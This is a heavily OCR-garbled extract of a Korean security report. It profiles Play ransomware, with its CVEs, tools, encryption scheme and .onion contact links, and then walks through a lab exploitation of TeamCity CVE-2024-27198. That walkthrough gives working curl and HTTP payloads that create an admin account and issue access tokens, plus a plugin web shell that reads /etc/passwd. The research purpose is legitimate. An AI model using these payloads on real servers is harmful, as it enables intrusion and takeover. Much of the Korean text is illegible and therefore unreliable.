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Play sid9lol 252 2022 ¥ 6 €8E 53 AAFer dAA7EA] F 410 o 9] nlsfjzt&E
t39 dolg §& AtolEo] ARt E3], Play 188 dA F7iuitt tho] mdiats SA|
AAHE BEAL Holx Qltd|, o|¥ 3 Hout 48 A9 HAE A AT tta SFo] F=Fd

14 ol FE3 374 ARt Zeka qlo] Fo7h Baset,
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Py JEE B §if Holle] fEd ARE ANE @ 7 BAE A0 g8 $A 93

=
Rt WAAE EREH] RHEE HEshs den AESE Ath o] A% ms AL LA
@3 289 A oI5E AT 5 A0 ol of AEFS BE M} ohd B4 oAV} Sl

719l ARt ARgShe Aoz Helr,

=443, Play sHdole HEFAS &% RDPY AH], @33 A AME, Fortinet VPN AJH]
F k- (CVE-2018-13379 © , CVE-2020-12812 '), MS Exchange Server 7 ProxyNotShell
FoFHd(CVE-2022-41040"®, CVE-2022-41082"), ConnectWise 2] ScreenConnect °Fd CVE-
2024-1708, CVE-2024-1709 5-& ARgsh= Zo= WHch EFh, AR HAHol FH0]
%}Z]QZ] AL = o= 2u M F skl RMM?Y =48 F2 oF8dt= ZAo2 WAt s
AerZ Play ¥ ofzt oh4=9] f4ddllo] 1FAAE AHE Folth

13 RDP (Remote Desktop Protocol): th&

o

FEE ¢702 AT ¢ JLE s Z2EF
1 VPN (Virtual Private Network): Q1E]d]l AofA 7§91l HRE HEstT Y AHre $-3]517] 8] AHEshe 7Hde] B EYA

o]
AR

15 CVE-2018-13379: FortiOS A|AHE #}d-g thez st

e}

L9 A2 9 Ao

= =

N

'® CVE-2020-12812: 1% 2421 FortiToken §42 HIAIA7F BAIHA] ¢4l 2908 4 Sle FHET AF HHA
17 MS Exchange Server: Olo]ZA2ZAXEo|A et HAZ], P9 LZE o] AE
18 CVE-2022-41040: A & 2% 9|Z(SSRF, Server—Side Request Forgery) &2 F°Fd

19 CVE-2022-41082: 97 7= A3 ok

=

2 RMM (Remote Monitoring and Management): 974 RUEH 2 & Algsh= A48 T2

EQST insight | 20



infosec

Play Ransomeware

St o 7|18 RSAR E=

( AES €252 =F mjY a3t

. AES

B,

File ’ Encrypted
— File
g8 7
Q o
Rsa Encrypted

BCryptGen AES

otz g mpay | 256MB OIH: Bl A=} . e
C = - 256MB X3} 4GB 0|5} : Y7 H| 20} 1mBY B2 253 & 2mBYF HS55t
4GB =1} 1GGB 0[5} : ¥’ H|E0CH 1MB *-*.' F.'—-E— A 2

16GB =1t : Y H[ 0L 1MBY B = ¢35} = 4MmBEE ¥53}

.
e OHIE 27 Do =
HE U535} AHH| %—F—-—Qegr-l
) 5%
AES & . Anti-Virus
—— E|AY =
RSA A4S} 212 =g

/| ReadMe txt - Windows 0{ 2%t
LEF BTE A0 E21(v) E8ZH)
PLAY

HM-E news portal, tor network links:

(P—o' mbrlkbtg5jonagkurjwmxftytyn2ethqvbxfudrgjbkkknndqwaeébyd.onion
k7kg3jgxang3wh7hnmaiokchk7qoebupfgoikérhabmjpzwupwtj25yd.onion

porlesetsuluboc@gmx.de

. ReadMe.txt
#HE g3
( .PLAY
= elof
O C/C++

1% 4. Play 4ol 7/He

EQST insight | 21



Play SA¢o] gk

infosec
Initial Access

Discovery AZEQ0] % ROP HAH &S

_T1 190
T1133

[

MA o HESS FE +F

Defence Evasion

Anti-Virus AMH|A S8

Credential Access N
Windows O[HIE 27 2tH|

[Tisez0r]

os o5 Y= 2S5 H E
X k=2 H= BE s
REET EE ARSI =S i Lateral Movement
Exfiltration g Cobalt Strike 8 PsExecE #&8+
s A0 vlo|L{ 2| Mot
oY ME =78 223 g g
Ho|E & c
jl0|8| §& = Impact

Hlole] 3t
e HolHE S8 0/F uy

o7 )

a9 5. Play #dHel 4 A=

Play f4dflols =58 974 d2aF ZzEZRDP)OIY AZEQC] FHfHS &8d =7
HAEE Aty ZEYl(Fortinet) VPN AJH FHeFd, MS Exchange Server ProxyNotShell FoF4,
ConnectWise 2] ScreenConnect FoFd 51 Z-2 RMM FFHe Fz2 83t olQox
S A BEE 8o 7] AFE Axet o]k EAelt

z7] Tl 43t AA S8 G5, ALHE oy &3, Wi duh, 94 HE, dHolH A&
At EAES TRRE Hrol ARgSit) ALt d5-& 915] ANekto APriviCMD AWInPEAS &
AHgotn], i HukE 918l Cobalt Strike @t PsExec & 2L gtk B dloje] &3 S5
A e dloly g E?— Grixba & AHEsHAY, ¥4% T4 WinRAR ¥ =t 4 T2
WinSCP & ttoFst =& &8sttt

!

o]4¥ Play HAol= Y
HHLE A 715 E=A
HEsle] Ast T2 Q
Aot Tt Zz s Adle HQgE API £ FAHozR EHem, A dudE F shut
xxHash32 & 5314 APl 9] F4E &5k WAE ARSI

=75 B/ W] DALl B AAE v gEst
o A Bl mae] B g

o
=
19 557 e AURE s ZEE Agsi W

»rSE

e g

lot

il

il
(o]

EQST insight | 22



T4 2Hn gosEt. fend Aga)

o] ﬂ_
=
J4E AES 71& FolA TS dBdletH, dBste] AHEH 7l+= RSA & B4 HEo] mped e
2] Z7Kgth Play @slels mE gusle oA WeAds WA 2R grssl AL
gt WO H717h 256MB olstel AS W AAE FTESAL, 256MB B Z st
o] g H)-gupct 1IMB A9 o5 5Fghet
infosec
ok ol
4ok o
Ak ot 1/2 X|& 1MB Chunk 4% 3} ok ol
Aok oted
ok o
7t 1118 Chunk 922
256MB =1} 4GB 0|5} 4GB =1} 16GB 0| s} 16GB =1}

1% 6. Play WA} FE 53t Al

Play Sd9lolE 4538t 9lsiA otde IMB 3719 Chunk & F-E3HH, 277}
] XA Chunk FollA 53] Y% Chunk ¥ 5 3}3tct,

riu
=)
e,
1o
oM,
o

256MB %3} 4GB olste] utd-2 AAA et upA[et Chunk ¥F 92 3stm, 4GB =3t 16GB ©[ste]
o2 AL upRe Chunk #%F ofy2t 4] Chunk 5 1/2 Z[Hel f1A% Chunk 714
ds sttt oprgto 2 16GB Bl & e Ao} upx]et Chunk & &astsi, 1/3 |43
2/3 A1Ao] #1235t Chunk &= @asketel. Wk 6,000719] Chunk 2 o]Fo] wtdojztd A9}
npx[et Chunk & ¢f22kstH, 1/2 241 3,000 14 Chunk E3$+ QFosletet,

EQST insight | 23



Play s4d¢lo] of-3+¢t

infosec
Initial Access
HE3 28

F7|Hel Az Eg 0] Hho|E
AHESHR| B ZEEE W MUl2 HA

Discovery

oo ]

;2 7% BX] F24E
of
of

o )

Defence Evasion

|

FIIH HAHE B A2 HBY 2
el 7|uk ghx| FEM AHEE ES
obd W Xpek

Credential Access

[ T1070.001 |
[ T1562.001 |

|

ASR TH& EgstE S8 obd el Kpgh
ELS orE B
dzd Be 2sy Lateral Movement

o0 )

N/

Exfiltration HES3 E2fg HE™

DLP £8M 3! EDR ERME Bt
HojE /= Wx|

Bo]E Wt

ASR 74 RS E5 o4 Bl A5
= 1S

a9 7. Play A4 o] of-gx<t

Pay £ 2 AZEgols] FHobHol} ZeeZ Fokde olfd AyHow wjmsly] ujEo
AZEGOl} SGAAE HkstA e HAOE FAHoR ddolE ot Ao| Fastch
AgoA e ZREZN Ausb wBAs S AAN %8S FAsel dck olet @
YELE AEstste] BUSAL Jh MRS Agchs 5 UEQD Belg Fdl wdE

2aopgd 4 Q.

EQST insight | 24



2 Play s 9ol ZFolA oF8s Aoz R FHokgoln JFe = AH 22 &3 4S
gk gkl ebol WAE Moz SeolEst Wash]
CVE Mo A% A x| B
Fortinet 2| HE@t OS FortiOS OfA SSL VPN & | 546 ~54.12 568 O[A
CVE-2018-13379 | A23t= ZQ, AlA"H mMYS CIREE g £ | 563~567 - 0|f+
Qe T A2 A o 600~604 | ~O°U€
Fortinet 2| EO OS FortiOS O|A SSL VPN £ 6.0.9 0|} 6.0.10 O| &
CVE-2020-12812 | AF83t= 8%, 0|5 QB(FA)O| HMUZE X 620 ~6.23 6.2.4 O|&
e EXM™HD 215 FUH 6.4.0 6.4.1 O| &
ACI0|E o|FHe|
MS Exchange Server O|A Zdst= MY & 27F KB5019758
CVE-2022-41040 2 #orx Exchange Server .
X al = G E
2| Z=(SSRF) & < 2013, 2016, 214 0|
Ho|E o|H™Q|
MS Exchange Server Of|Af 2dist= R4 IE & KB5019758
CVE-2022-41082 Exchange Server
F o4 GHolE
2013, 2016,
d4 Ha3E £FH ScreenConnect FAFSE,
CVE-2024-1708 | Yoo mo|Lt CIHEZ|M I = A= BE 23.9.7 O|s} 23.9.8 O|At
T ot
A4 HAIAE £FM ScreenConnect FAHOZ,
CVE-2024-1709 | ¥4 H2A3 g0 A" 22Xt AES MHde = 23.9.7 0|5} 23.9.8 O]
Ae 25 23] FHAH
E 1. Play sHA o7} oF-83F £ EJo] Foby
z7] AR ol% dolg £, WAl Hz T HAHAAE A Anti-Virus AHIAE
FTEAZIY. 3 OS Q15 AR HoHzR| k2 7 A4 FHS E5ste] g4 F7HHoe=r
gasith webd, ASR 12 Sl 235 o4 FYE Ads AL A AHel o] Wzt
AHE= Ad5sloto] bHEstA BRsjjoF gt
FHE AEZto|=(Cobalt Strike)@t PsExec & AHEs YA sHAHAYAE Hulstal Alsgsict
meba olE WAohr] {8 HEYZ RUHFY EFE Fo AE5HoR EfE S8 BAAE
Aofsti, o & QAL AT 5 gl FAZ WE AAde] Tt A e YEHID

Ed Beye

o} gt

EQST insight | 25



glole gt it ¢FZste] tisiA L tiH7t "astrt o], DLPY &FAo|u EDR” &£84&
Zgef dole f&& AL 4 Atk "ol" #& oA HY E1EE Ao AR o]
AR Q1A 4 == Z 27} " Qsith

£3], di&% wdd Fe 9% Fo7F "Basirh olQok: uhd 2 9] HrHoR WAL
Ags) wElsior shH, NAS* eF #iQ] A%4o] HolHE ”Xﬂﬁ}—t— AeE EAEiRg HEo
YEIU A4 HolelE 44t Mg2s)] fajels AL BAS) Play @909 A9, WY

i
SRS AAste Jlso] SelEA gob] wRel, Wme = AFe A 9E mh
27 5 g}

21 DLP (Data Loss Prevention): H|o]E]9] 52 ZFAslo] Q2 AH §&S AA/ADs6hH= Holg % W2 £7A4

22 EDR (Endpoint Detection and Response): ZAFE|Q} 2Hl AH S dib7]oA drgst= of4 39S AAzte s ZAR|st B4 9
-gate] wof S-S Bt &4
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File Name

LkToXG.exe
Thimble pulverization
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+ Symantec ¥4 & 0] 2] (https://symantec—enterprise—blogs.security.com/blogs/threat—
intelligence/play—ransomware—volume-shadow—-copy)

+ BleepingComputer &4 & 0] 2] (https://www.bleepingcomputer.com/news/security/play—
ransomware—gang—uses—custom—shadow—volume—copy—data—theft—tool/#google_vignette)

« CISA E<F AF(https://www.cisa.gov/news—events/cybersecurity—advisories/aa23-352a)

¢ The Register 728 (https://www.theregister.com/2024/03/08/swiss_government_files
_ransomware/)

« SOCRadar &4 Z#o] 2] (https://socradar.io/dark—web—profile-play-ransomware/)

+ Trend Micro 54 & o]Z](https://www.trendmicro.com/vinfo/us/security/news/ransomware—
spotlight/ransomware-spotlight—play)

« Malwarebytes &4 &1 o] 2] (https://www.malwarebytes.com/blog/news/2023/12/fbi-issues—
advisory—over—play-ransomware)

« CISA & HA1F(hetps://www.cisa.gov/news—events/alerts/2023/12/18/fbi—cisa—and—asds—acsc—
release—advisory—play—ransomware)

+ DarkReading +2#¥ (https://www.darkreading.com/cloud-security/-play-ransomware—group—
targeting—msps—worldwide—in—new—campaign)

o MS HeF tf-g AlE (https://msrc.microsoft.com/update—guide/vulnerability/CVE-2022-41082)

o MS HQF tf-g- AE] (https://msrc.microsoft.com/update—guide/vulnerability/ CVE-2022-41040)

« NIST =7} #HeFg dlolguo] Achttps://nvd.nist.gov/vuln/detail/ CVE-2018-13379)

« NIST =7} #oFd dlolefu|o] A(https://nvd.nist.gov/vuln/detail/CVE-2024-12812)

« NIST =7} #HeFd dlolguo] Achttps://nvd.nist.gov/vuln/detail/ CVE-2024-1708)

« NIST =7} #<Fd dloleH|o] A(https://nvd.nist.gov/vuln/detail/ CVE-2024-1709)
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i rir
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R HAgA]] HEs SOl Ao dEA A=

CVE-2024-27198 & Qlste] 5= b2 AHgAte] o] #ejak A 2 access token /€]
7}55hH, oA Plugin QRES 53+ 97 I AL Jpsairt 2024 @ 39 7% o FHIHS
o183 Jasmin WF WAl F=, XMRig F2ote] A27] WhE, SparkRAT Wio] vjz 5
kgt Aol e olFolA: glo] ZhEs Folvt aFit,
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Lot Lol OSINT AA <MZS Fof e Aol F70% TeamCity & X2t A=, fejvet
HES A AAHCcR @2 7oA TeamCity & CI/CD && AMESHAL E

FoFdo] WASE TeamCity 3= Samsung, Tesla, Citybank, Amazon games
A= CI/CD &ol7] digol @A ARE F<Q1 TeamCity HAo] FoFetx] ZRIske= Zlo]

N

oA AlLg|

CVE-2024-27198 & o] g3t 27 AteloL oot 2}

infosec

1 a

~
Y 1
i
: 1
i i
! 1
@CVE-2024-27198 ®admin S8 9 access token E& K ! 1

9 2. CVE-2024-27198 &4 AL

@ 34%s 7|1 W AHEE 2 FASH TeamCity MHE B

@ S4AX= CVE-2024-27198 FAUHES O[5t mshxt MHO| HZ
@ 2AX= 22|9| admin HAHES SE3t1 MEE access tokenS U2
@ S4x= &4d Pluging Y=2ESHY A4 FE 4A
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W YEurs ADEQ 0 B
CVE-2024-27198 of] F okt AL EQ| i dyn )
2023.11.3 O|™ HH

m EH2E 3tF #4d 4=
HAE 34 F&5te] CVE-2024-27198 9] 52 7H4& 4w
o|& e
Ubuntu 22.04.6 LTS
| 8H X} TeamCity Professional 2023.11.3
(192.168.102.74)
A% Kali Linux
(192.168.219.129)
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m %Y EHAE
Step 1. &4 4

ms§zk PC of CVE-2024-27198 FeFHol EAISh= TeamCity AHE F53Hh tha YPE

Fo) Aok AWE 75T 4 9k,

# docker pull

docker pull jetbrains/teamcity-server:2023.11.3

# docker run

docker run —it —d —name teamcity —p 8111:8111 jetbrains/teamcity-server:2023.11.3

of
ot
2

Azt TeamCity A1H][(192.168.102.74:8111)°] HsHH, offiet o] CVE-2024-27198
FoFAo] EAsH= 2023.11.3 HAL AHE &eld 4 9t}

2\ Not secure  [192.168.102.74:8111/loginhtml

Log in to TeamCity

Usemame

Password

Remember me Reset password

Log in

|‘u’ersi0n 2023.11.3 (build 147512)

a9 3. FeF AW AR g
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Step 2. F9F HXE

CVE-2024-27198 FHoFd-& o]

ofd

A2k PC oA ot curl AMER w22 A= B4,

$ curl -ik http://192.168.102.74:8111/eqst?jsp=/app/rest/users¥;.jsp -X POST -H "Content-Type: application/json" --
data "{W'usernamet": W'eqst#", W'passwordW" W'eqstW", W'email#": W'eqst@skshieldus.comW", W'rolesW":
{W'roleW": [{#"roleld¥": W'SYSTEM_ADMIN®", W'scopeW": #"gW"}}}"

Jhome/kali

2.168.1682

TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store

Content-Type: application/xml;charset=I"
Content-Language: en-US

Content-Length: 66%

Date: Mon, @1 Apr 2024 B86:29:23

a9 4 curl & S F7 A BY 23

ABATE eqst TEAF AP o2 213,

U & 192.168.102.74:8111/fa : kg

KaliLinux # KaliTools <« KaliDocs M Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

)
TC Projects + Changes  Agents O 0 Administration

Favorite Builds

Log in to TeamCity

Username
eqst '
Password
(TTT]
Remember me Reset password
Login
Version 2023.11.3 (build 147512)

< 5-hide sidebar

a9 5. AR A ARer =9
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L
Lof

Kali Linux & KaliTools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

e 1 Admini

Administration
Upload plugin zip
Project-related Settings
Projects —_—
Plugin | Browse... | test.zip
All Builds —
Build Time
Disk Usage Upload plugin zip Cancel
Server Health = oo pragrT o
Audit

d9 6. 9H4 Plugin ==

ofelel Fao] FZotd ARED o4 Plugin & AAT & ow, FAW A5 Yot

w3 #Fe] TeamCity AH oA APt

o

‘ http://{TeamCity_AH{}/plugins/{plugin_O| 2}/{XH A E jsp}?cmd={H H 0]} ‘

st.jsp?cmd=cat+/e I, &

KaliLinux & KaliTools » KaliDocs #{ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Command: cat /etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:fusr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbhin
/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr
/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/nologin Ip:x:7:7:1p:/var/spool/lpd:/fusr
/shin/nologin mail:x:8:8:mail:/var/mail:/usr/shin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin proxy:x:13:13:proxy:/bin:/fusr/shin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/shin/nologin
list:x:38:38:Mailing List Manager:/var/list:/fusr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:fusr/sbhin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/monexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/shin
/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-
resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:105::/nonexistent:
fusr/shin/nologin tcuser:x:1000:1000::/opt/teamcity:/bin/sh

a9 7. 94 39 49

EQST insight | 34



b Al E4olM= CVE-2024-27198 FeFdel A8t 24 AT 8 ¢ ek, e

[e)
$-9] o|% oM Plugin& Y=E=5t0] 94 ZEE AYsh= A7t

CVE-2024-27198 F A2 web-openapijar 2= A} ofzfe]E mA(JAR) » oA FHEE=
jetbrains.buildServer.controllers.BaseController Sej204 @3l theh AFo] n|gsl At}

1) handleRequestInternal WA E AZF 74

web—openapi.jar oA 1T 4= Ql=  Jetbrains.buildServer.controllers.BaseConroller 2=
W59l handleRequestlnternal WA=+ HTTP 242 HIsk= 92 ot g HA=
Hioles & 59 HE 22o] Fdx o] Ut

handleRequestinternal HAE Wi FAHE AHA AF 222 Model I View & HHFoh=

modelAndView?® ZBA|7} null Q1A AARSTE st A7} null 2tY 7%, handleRequestinternal
HAE+ null gk §Hekgict

FHA AF 222 HTTP 84 9% &

sEIAES Z2 froldd FHo| 20, Model & =73 Al & dA HAEQ]

handleRequestInternal A =9 AnE Hhghetet. o] ﬂ 9 A=

updateViewlfRequestHas]spParameter BIA =2 A2 C] modelAndView ZAAE

rzi
rSJ
£

handleRequestinternal WA =8| AAFTEE ofge} Zrt,

public final ModelAndview fhandleRequestInternal{HttpServletRequest request, HttpServletResponse response)|
try {
ModelAndView modelAndView = doHandle(request, response);
if (modelAndView != null) |
if (modelAndView.getView() instanceof RedirectView) {
modelandView. getModel( ) .clear();
r else
updateViewIfRequestHas)spParameter(request, modelandview);

1
I

1

I

return_modelindview;

1% 8. handleRequestlnternal HIA =

2 JAR(Java Archive, A8} o}7lo]H) mtQ: ofg| 7o Au} A ntdy} FArE0] o]Ld}

ol aiﬁwz EEESR
wetdlo] 8 S shte] e mobd Apuh SRE| 5§ ALEolLt eoluelee Mmsy] e &

717 whd .

_,4
_‘ O
|H
|m
i}
°
éé

% modelAndView: MVC &= ARg-A} QlEjHo] AR HE B ZYA 2218 %ﬂs}% ALE TM gzpel S =gtk Model, View,
}.

=
Controller 2 FAJo] =4, o] ¥ model ¥ view & & & Zd|~7

?
&
>
5
a
=
o
=
iy
é&
[>
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2) updateViewlIfRequestHasJspParameter A& A3 34
handleRequestinternal A #A]  AFgol=  updateViewlfRequestHas]spParameter — M4 =2]

AAFEE HEY 2

private void updateViewIfRequestHasJspParameter(@NotlNull HttpServletRequest request,
dNotNull ModelAndView modelAndView) {
boolean i5Contr011erRequestwithviewName = (modelAndView.getViewName() == null || @

request. getServletPathrn endsWith(".jsp")) ? false : true;
String jspFromRequest = getJspFromRequest(request);

if l15ControllerRequestNltthewName &% StringUtil.isNotEmpty(jspFromRequest) && !

r

modelAndView.getViewName().equals(jspFromRequest)) { @
modelAndView.setViewName( jspFromRequest);

’.
J

39 9. updateViewlfRequestHas]JspParameter HA =

@D modelAndView Z1A9] View7} 0|22 721 il @A &% URL A&7} jsp &2 BUA
AEA] FRlIsttt. did A5 Z = isControllerRequestWithViewNameof| A7 gHc},

@ AZTATE A4t isControllerRequestWithViewName©] Truell, jspFromRequest’t null E+=
Zrel olUm, modelAndView ZAHe] View ©]2o| jspFromRequest®t Z# ¢@riwd

T BHA

modelAndView ZHA| €] View #-& jspFromRequest #Ho 2 A3},

3) getJspFromRequest WA E AZF 33
getJspFromRequest HIAES] AAFE = T3 7T

protected String [get)sprromRequest(@NotNUlL HttpServletRequest request)| {
String jspFromRequest = request.getParameter(”jsp");
if (fspFromRequest T= null] &2 (| jspFromRequest. endshlz.th( sp")] || [JspFromRequest.contains( "admin/"))) {
1

return null;
| @ @ ®

return jspFromRequest;

et

19 10. getJspFromRequest M4 =

updateViewlfRequestHas]JspParameter WA =04 T&Sh=  getJspFromRequest HAZ=E  jsp

sfetulg o] gk Wl PEsHe WAo] mgtElel itk @F AAE thewt 2ok

O Exgol nulle] ofdx] A=
@ BAgo] “jsp’R BuUA gea] dAE
@ EAgol “admin/”& Z3st=A AA
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Step 2. 1%

TeamCity 2023.11.3 HZ oA EAct= Q5 3] FFH-2 /app/rest/server 2ol 5}

SRIGHE 4= Utk TeamCity 9] /app/rest/server =0l HI5HH QAFH AREAAl= @A AH
A HEE Hktr)

c A\ Not secure  |192.168.102.74:8111/app/rest/server

This XML file does not appear to have any style information associated with it. The document tree 1z shown

<server version="2823.11.3 (build 147512)" versionMajor="2823" versicnMinor="11" startTime="2824
curre ntT_mh "28248326T1857254+200028" buildNumber="147512" buildDate="28248125T008822+2@82" intern
rele="main_node" webUrl="http://localhost:8111" artif ach:HP1='"
<pr 1=f+= ’r=—=”#nppf’estfp’ojects"f>
oots href="/app/rest/vcs-roots"/ />

href=" spp;rettfbu1lc= [>
:f—'*aJp#rE;ffucer: />

3

<y

(%)
woE A
He oA |_|

1]

5
A
i1

] [H]
(=] T

a0 = Al

;="f5pp£restfagents“f}

Queue href="/app/rest/buildQueue"/>
Pools href="/app/rest/sgentPools"/>
tigations href="/app/rest/investigations™/>
href="/app/rest/mutes" />
href="/app/rest/server/nodes"/>

(]

g

1

H= i

du (II Ll o TR =

:ul:l'l.l =
1]

[}
I'|| 3

5 A1 mrru_rrmmu_

i =
5 O 0
= o+

1]

L
i
m oo

R

19 11. /app/rest/server B4 23 digt

A gt 9125 AF8A7F ofUed AH BA AR thAl 401 S FEE brgksith
11

ATTRAT .1
TeamCity—
wa_ﬁuthﬁﬂt

05 Aor 2024 07:34: 47 GMT

ﬂu+hﬁn+|-d+|un Fequ i rec
v |oain manual v ao to "Aloain. html"

1% 12. /app/rest/server H]Q1Z Q3o digt 3¢

/app/rest/server o A M Al, 150l HA| ol HTT £ glomz Q15glo] view
updateViewlfRequestHas]spParameter M =8 &85ttt 4, IR view & 7HA]aL
mtetu]elE At A HAZEQ servletpath 7} jsp 2 BUA] grotol A Sakettt. whahA,

o
AF flole FZE 4 Qe loginhtml o] HstA s g 92 4 ok

EQST insight | 37



loginhtml & ofyz}t 404 wo[z|e} o] <QlF glo] H 7Fedt view 7} e HolA= A

4] &8 5 A

o 9 235 wWESH jsp mtetn|EE Foll 54 B2l " s St getJspFromRequest
HA = A jsp ohEpR]E gtol jsp 2 Y= ASoH] el o= semi—colon(;)= jsp &l
A~
T

gold 232 4 ek

9 Aol wet 4% FA payload = th& T
http://{TeamCity_address}/login.html?jsp=/app/rest/server;.jsp

semi—colon < .jsp ¥l o 2 & Sl= °lfi+= semi—colon F9 FAFEO] jersey—server—

1.19jar grolB 2] WebApplicationlmpl &2 W stripMatrixParams HA =045 HTTP URL
path parameter segment?’7} A A E|o] /app/rest/server F 2| Hto] 7Fssth7] wjEolct.

Debug 3 TC_debug

=l

Threads & Variables Console C
"http-...RUNNING Y

© updateViewlfRequestHasJsp

"ModelAndView [view="404 jsp";

19 13. jspFromRequest ZrEtu|g &<l

27 HTTP URL Path Parameter: Matrix Parameter 2t31% 3}, 919 B3 HrAlS Aojslr] 8] ARt
https://eqst.com/main;eqst=test/board;shieldus=test @} Zo] FI=A] A2 9] ufz]eto] ofd Yst= $x|of wi/f A5 2T 4= Ut
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o] & stripMatrixParams WA =2 18} path ©] HTTP URL parameter segment 7} A A o] ;. jsp
7 AAE A Sl 4 QU

WebApplicationlmpl.class

¥ Decompiled .class file, bytecode version: 50.0 (Java 6)

Debug E> TC_debug

Threads & Variables Console
"TC: 1...RUNNING ¥

> _handleRequest:1542, Weh#

"fapp/re

% 9.

c A Mot secure 192.168.102.74:8111 /¢

Thiz XML file does not appear to have any style information associated with it. The document tree 1z shown

¥ <server verslon= 2823.11.3 (build 147512)" versionMajor="2823" wversionMinor="11" startTime=" 2824
currentTime="20240327T004634+0008" buildNumber="147512" buildDate="28248129T000828+0008" interng
role="main_node" webUrl="http://localhost:8111" artifactsUrl="">

¢<projects href="/app/rest/projects”/>
<vcshoots href="/app/rest/vcs-roots"/>
<builds href="/app/rest/builds"/>
<users href="/app/rest/users"/»
userGroups href="/app/rest/userGroups
<agents href="/app/rest/agents"/>
<buildQueue href="/app/rest/buildQueus™/>
<agentPocls href="/app/rest/agentPools"/>
<investigations href="/app/rest/investigations™/>
<mutes href="/app/rest/mutes"/>
<nodes href="/app/rest/server/nodes"/>
</servers>

"Iy

)

19 15. payload & &8 Q15 93 &<
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Step 3. ¥EA+ A 85

A 7lESt FHoFdS oF85H TeamCity W ®-2 endpoint o &Z0o| 71s5tH, £3] 54

HE $Yot= REST API®E &S /app/rest/users A2E et 57 0] xgAo|rt.

/app/rest/users += A QU= AHEAZE POST 84S &8 A 55 716 Utk spA|wt

A ANEE I8 U3 WOl WSS A ROl A ol 038 Aot

EVIGERR http://192.168.102.74:8111/eqst?jsp=/app/rest/users;.jsp

"o

{"username":"eqgst",
JSON "password":"skshieldus"”,
Data "email":"skshieldus.tester@sk.com",

"roles":{"role":[{"roleld":"SYSTEM_ADMIN","scope™:"g"}}}

m | cancel [ < |7 Target: httpy//192.168.102.74:8111 /P HTTR/
a==

Request Response

Pretty ~ Raw  Hex = \n = Pretty  Raw  Hex Rende \n =

POST /egst?isp=/app/rest/users:.jsp HITP/1.1 HTTR/1.1 200

1

Z[Host: 192.168.102.74:8111 Z|TeamCity-Node—=1d: NAIN_SERVER
3|Upgrade-Insecure-Requests: 1 3|Cache-Control: no-store
4|User—Agent: NMozilla/5.0 (Windows NT 10.0: Win64: x64) 4|Content-Type: application/xml

AppleWebKit/537.36 (KHTML, |ike Gecko) S[Content-Language: ko-KR

Chrome/122.0.6261.112 Safari/537.36 B|Content-Length: 678
SlAccept : T|Date: Wed, 27 Mar 2024 02:13:16 GNT

text/html ,application/xhtml+xml ,application/xml:g=0.9, S|Connection: close

image/avif.image/webp.image/apng.*/*:q=0.8.application 9

/signed-exchange:v=b3:0=0.7 p<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user
B|Accept-Encoding: gzip. deflate, br username="egst" id="11" email="skshieldus.tester@sk.com" href
7|Accept-Language: ko-KR.ko:g=0.9.en-US:g=0.8.en:q=0.7 ="/app/rest/users/id:11"><properties count="3" href="
S|Connection: close /app/rest/users/id:11/properties"><property name="
9|Content-Type: application/json addTriggeredBuildToFavorites" value="true"/><property name="
10|Content-Length: 135 plugin:ves:anyVes:anyVesRoot" value="egst"/><property name="
11 teamcity.server .buildNumber" value="147512"/></properties><
12 J”username”'”eqst”,”password”'”skshleldus” "email": roles><role roleld="SYSTEM_ADMIN" scope="g" href="

"skshieldus.tester@sk.com", ”roles”"”role”'[’”roleld”' fapp/rest/users/id:11/roles/SYSTEM_ADMIN/g"/></roles><groups

"SYSTEM_ADNMIN", "scope":"g" ] 1} count="1"><group key="ALL_USERS_GROUP" name="All| Users" href=

"/app/rest/userGroups/key:ALL_USERS_GROUP" description="

a9 16. A99 A A 5=

% REST AP HTTP 842 53
sz APL ¢lE So] GET 830

dBE AAE FA

Sz iz WollA HEES] 24, o], dulolE 9 AA 5o BFE HlolEHolA V]ee
= A4, POST @302 1 A4, PUT 8302 o35 ¢Julo]E, DELETE 830 =
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2% Payload ¢} JSON Data A5 A#}, Teamcity T mliFolA o)z 5= #HAt A
gpelgh 4= Sl

o
o

Server Health
. + Create user account 2 users
Audit
. Administrator o

User Management Groups s Last login time $

Users

B . . 27 Mar 24

o \ admin %A N/A View groups (1) |=  Admin 0212:53
Integrations eqst /A skshieldus.tester@sk.com  View groups (1) |=  Admin

Tools

a9 17. 33 A

2) access token U
/app/rest/users/id:{id &t}/tokens/{Token_name}-2> A= access token 35t= API o}, id 4t

O dr

= =
1 ;o] 7] dANA 5t TAo|7] wjEo] th3 Payload & Sto] T2t access token =
AZ glo] g 4= Q.

http://192.168.102.74:8111/eqst?jsp=/app/rest/users/id:1/tokens/EQST;.jsp

Request Response
Pretty Raw Hex . in = _ Prefty Raw Hex Render = \n =
1|POST /eqst?jsp=/app/rest/users/id:1/tokens/EQST: T|HTTR/ 1.1 200
HTTP/1.1 2 (TeamCity-Node—Id: MAIN_SERVER
?|Host: 192.168.102.74:8111 3|Cache-Control: no-store
3|Upgrade-Insecure-Requests: 1 4|Content-Type: application/xml
4|User=Agent: Mozilla/6.0 (Windows NT 10.0: Win64: x64) 5|Content-Language: ko=KR
App | ellebkit/537.36 (KHTML. |ike Gecko) 5|Content-Length: 230
